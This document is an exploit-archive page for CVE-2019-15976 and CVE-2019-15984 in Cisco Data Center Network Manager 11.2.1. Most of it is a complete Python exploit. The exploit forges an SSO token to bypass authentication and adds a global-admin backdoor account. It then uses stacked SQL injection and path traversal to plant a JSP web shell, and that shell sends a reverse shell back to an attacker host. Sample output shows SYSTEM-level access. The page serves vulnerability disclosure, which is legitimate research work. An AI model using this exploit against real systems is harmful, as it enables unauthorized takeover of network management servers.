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Cisco Data Center Network Manager 11.2.1 SQL Injection

Cisco Data Center Network Manager 11.2.1 SQL Injection
Posted Feb 6, 2020
Authored by mr_me

Cisco Data Center Network Manager version 11.2.1 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
systems | cisco
advisories | CVE-2019-15976, CVE-2019-15984
MD5 | e52727f67ec73f54a1870891d9e11891

Cisco Data Center Network Manager 11.2.1 SQL Injection

Change Mirror Download
#!/usr/bin/python
"""
Cisco Data Center Network Manager HostEnclHandler getVmHostData SQL Injection Remote Code Execution Vulnerability

Tested on: Cisco DCNM 11.2.1 Installer for Windows (64-bit)
- Release: 11.2(1)
- Release Date: 18-Jun-2019
- FileName: dcnm-installer-x64-windows.11.2.1.exe.zip
- Size: 1619.36 MB (1698022100 bytes)
- MD5 Checksum: e50f8a6b2b3b014ec022fe40fabcb6d5

Bug 1: CVE-2019-15976 / ZDI-20-008
Bug 2: CVE-2019-15984 / ZDI-20-060

Example:
========

saturn:~ mr_me$ ./poc.py
(+) usage: ./poc.py <target> <connectback>
(+) eg: ./poc.py 192.168.100.122 192.168.100.59:1337

saturn:~ mr_me$ ./poc.py 192.168.100.122 192.168.100.59:1337
(+) created the account hacker:Hacked123
(+) created the 1337/custom path!
(+) leaked vfs! temp230cf31722794196/content-ed98b5003b1c695c
(+) SQL Injection working!
(+) wrote the si.jsp shell!
(+) cleaned up the database!
(+) starting handler on port 1337
(+) connection from 192.168.100.122
(+) pop thy shell!
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Program Files\Cisco Systems\dcm\wildfly-10.1.0.Final\bin\service>whoami
whoami
nt authority\system

C:\Program Files\Cisco Systems\dcm\wildfly-10.1.0.Final\bin\service>

Clean Up:
=========

1. delete from xmlDocs where user_name = '1337';
2. delete si.jsp from the web root
3. delete the folder and its contents: C:/Program Files/Cisco Systems/dcm/fm/reports/1337
"""

import re
import md5
import sys
import time
import socket
import base64
import requests
import telnetlib
from threading import Thread
from xml.etree import ElementTree
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def _get_jsp(cbh, cbp):
""" get me some jsp for a connectback! """
jsp = """
<%%@page import="java.lang.*"%%>
<%%@page import="java.util.*"%%>
<%%@page import="java.io.*"%%>
<%%@page import="java.net.*"%%>

<%%
// clean up
String[] files = {
"C:/Program Files/Cisco Systems/dcm/fm/reports/1337/custom/si.xml",
"C:/Program Files/Cisco Systems/dcm/fm/reports/1337/custom/",
"C:/Program Files/Cisco Systems/dcm/fm/reports/1337/",
};
for (String s:files){ File f = new File(s); f.delete(); }
File f = new File(application.getRealPath("/" + this.getClass().getSimpleName().replaceFirst("_",".")));
f.delete();
class StreamConnector extends Thread
{
InputStream we;
OutputStream uo;

StreamConnector( InputStream we, OutputStream uo )
{
this.we = we;
this.uo = uo;
}

public void run()
{
BufferedReader dy = null;
BufferedWriter zvi = null;
try
{
dy = new BufferedReader( new InputStreamReader( this.we ) );
zvi = new BufferedWriter( new OutputStreamWriter( this.uo ) );
char buffer[] = new char[8192];
int length;
while( ( length = dy.read( buffer, 0, buffer.length ) ) > 0 )
{
zvi.write( buffer, 0, length );
zvi.flush();
}
} catch( Exception e ){}
try
{
if( dy != null )
dy.close();
if( zvi != null )
zvi.close();
} catch( Exception e ){}
}
}

try
{
String ShellPath;
ShellPath = new String("cmd.exe");
Socket socket = new Socket( "%s", %s);
Process process = Runtime.getRuntime().exec( ShellPath );
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
} catch( Exception e ) {}
%%>
""" % (cbh, cbp)
return jsp

def get_session(target, user, password):
""" we have bypassed auth at this point and created an admin """
d = {
"j_username" : user,
"j_password" : password
}
uri = "https://%s/j_spring_security_check" % target
r = requests.post(uri, data=d, verify=False, allow_redirects=False)
if "Set-Cookie" in r.headers:
match = re.search(r"JSESSIONID=(.{56}).*resttoken=(\d{1,4}:.{44});", r.headers["Set-Cookie"])
if match:
sessionid = match.group(1)
resttoken = match.group(2)
return { "JSESSIONID" : sessionid, "resttoken": resttoken}
return False

def craft_soap_header():
soap_header = '\t<SOAP-ENV:Header xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
soap_header += '<m:ssoToken xmlns:m="http://ep.jaxws.dcbu.cisco.com/">%s</m:ssoToken>' % gen_ssotoken()
soap_header += '\t</SOAP-ENV:Header>'
return soap_header

def we_can_trigger_folder_path_creation(target):
""" craft the path location and db entry for the traversal """
soap_body = '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ep="http://ep.san.jaxws.dcbu.cisco.com/">'
soap_body += craft_soap_header()
soap_body += '\t<soapenv:Body>'
soap_body += '\t\t<ep:saveReportTemplate>'
soap_body += '\t\t\t<reportTemplateName>si</reportTemplateName>'
soap_body += '\t\t\t<userName>1337</userName>'
soap_body += '\t\t\t<updatedAttrs></updatedAttrs>'
soap_body += '\t\t\t<pmInterval>1337</pmInterval>'
soap_body += '\t\t</ep:saveReportTemplate>'
soap_body += '\t</soapenv:Body>'
soap_body += '</soapenv:Envelope>'
uri = "https://%s/ReportWSService/ReportWS" % target
r = requests.post(uri, data=soap_body, verify=False)
if r.status_code == 200:
return True
return False

def we_can_trigger_second_order_write(target, shellpath):
""" trigger the traversal """
soap_body = '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ep="http://ep.san.jaxws.dcbu.cisco.com/">'
soap_body += craft_soap_header()
soap_body += '\t<soapenv:Body>'
soap_body += '\t\t<ep:openReportTemplate>'
soap_body += '\t\t\t<reportTemplateName>%s</reportTemplateName>' % shellpath
soap_body += '\t\t\t<userName>1337</userName>'
soap_body += '\t\t</ep:openReportTemplate>'
soap_body += '\t</soapenv:Body>'
soap_body += '</soapenv:Envelope>'
uri = "https://%s/ReportWSService/ReportWS" % target
r = requests.post(uri, data=soap_body, verify=False)
if r.status_code == 200:
return True
return False

def gen_ssotoken():
""" auth bypass """
timestamp = 9999999999999 # we live forever
username = "hax" # doesnt even need to exist!
sessionid = 1337 # doesnt even need to exist!
d = "%s%d%dPOsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF" % (username, sessionid, timestamp)
return "%d.%d.%s.%s" % (sessionid, timestamp, base64.b64encode(md5.new(d).digest()), username)

def we_can_trigger_sql_injection(target, sql):
""" stacked sqli primitive """
sqli = ";%s--" % sql
soap_body = '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ep="http://ep.san.jaxws.dcbu.cisco.com/">'
soap_body += craft_soap_header()
soap_body += '\t<soapenv:Body>'
soap_body += '\t\t<ep:getVmHostData>'
soap_body += '\t\t\t<arg0>'
soap_body += '\t\t\t\t<sortField>vcluster</sortField>'
soap_body += '\t\t\t\t<sortType>%s</sortType>' % sqli
soap_body += '\t\t\t</arg0>'
soap_body += '\t\t\t<arg1></arg1>'
soap_body += '\t\t\t<arg2></arg2>'
soap_body += '\t\t\t<arg3>false</arg3>'
soap_body += '\t\t</ep:getVmHostData>'
soap_body += '\t</soapenv:Body>'
soap_body += '</soapenv:Envelope>'
uri = "https://%s/DbInventoryWSService/DbInventoryWS" % target
r = requests.post(uri, data=soap_body, verify=False)
if r.status_code == 200:
return True
return False

def we_can_leak_vfs(target):
""" we use a information disclosure for the vfs path """
global vfs
uri = 'https://%s/serverinfo/HtmlAdaptor?action=displayServerInfos' % target
c = requests.auth.HTTPBasicAuth('admin', 'nbv_12345')
r = requests.get(uri, verify=False, auth=c)
match = re.search(r"temp\\(.{21}content-.{15,16})", r.text)
if match:
vfs = str(match.group(1).replace("\\","/"))
return True
return False

def handler(lp):
""" this is the client handler, to catch the connectback """
print "(+) starting handler on port %d" % lp
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", lp))
s.listen(1)
conn, addr = s.accept()
print "(+) connection from %s" % addr[0]
t.sock = conn
print "(+) pop thy shell!"
t.interact()

def exec_code(t, usr, pwd, cbp):
""" this function threads the client handler and sends off the attacking payload """
handlerthr = Thread(target=handler, args=(int(cbp),))
handlerthr.start()
r = requests.get("https://%s/si.jsp" % t, cookies=get_session(t, usr, pwd), verify=False)

def we_can_add_user(target, usr, pwd):
""" add a user so that we can reach our backdoor! """
soap_body = '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ep="http://ep.san.jaxws.dcbu.cisco.com/">'
soap_body += craft_soap_header()
soap_body += '\t<soapenv:Body>'
soap_body += '\t\t<ep:addUser>'
soap_body += '\t\t\t<userName>%s</userName>' % usr
soap_body += '\t\t\t<password>%s</password>' % pwd
soap_body += '\t\t\t<roleName>global-admin</roleName>'
soap_body += '\t\t\t<enablePwdExpiration>false</enablePwdExpiration>'
soap_body += '\t\t</ep:addUser>'
soap_body += '\t</soapenv:Body>'
soap_body += '</soapenv:Envelope>'
uri = "https://%s/DbAdminWSService/DbAdminWS" % target
r = requests.post(uri, data=soap_body, verify=False)
tree = ElementTree.fromstring(r.content)
for elem in tree.iter():
if elem.tag == "resultMessage":
res = elem.text
if res == "Success":
return True
elif res == "User already exists.":
return True
return False

def main():

usr = "hacker"
pwd = "Hacked123"

if len(sys.argv) != 3:
print "(+) usage: %s <target> <connectback>" % sys.argv[0]
print "(+) eg: %s 192.168.100.122 192.168.100.59:1337" % sys.argv[0]
sys.exit(1)

t = sys.argv[1]
c = sys.argv[2]

cbh = c.split(":")[0]
cbp = c.split(":")[1]
sc = _get_jsp(cbh, cbp).encode("hex")

# stage 1 - add a user
if we_can_add_user(t, usr, pwd):
print "(+) created the account %s:%s" % (usr, pwd)

# stage 2 - trigger folder creation and db entry
if we_can_trigger_folder_path_creation(t):
print "(+) created the 1337/custom path!"

# stage 3 - leak the vfs path (not really required I suppose)
if we_can_leak_vfs(t):
print "(+) leaked vfs! %s" % vfs

# stage 4 - trigger the sql injection to update our template entry
sp = "../../../../wildfly-10.1.0.Final/standalone/tmp/vfs/temp/%s/si.jsp" % vfs
sql = "update xmldocs set document_name='%s',content=decode('%s','hex') where user_name='1337';" % (sp, sc)
if we_can_trigger_sql_injection(t, sql):
print "(+) SQL Injection working!"

# stage 5 - trigger the shell write
if we_can_trigger_second_order_write(t, sp):
print "(+) wrote the si.jsp shell!"

# stage 6 - cleanup
sql = "delete from xmldocs where user_name='1337';"
if we_can_trigger_sql_injection(t, sql):
print "(+) cleaned up the database!"

# stage 7 - go get some rce
exec_code(t, usr, pwd, cbp)

if __name__ == "__main__":
main()
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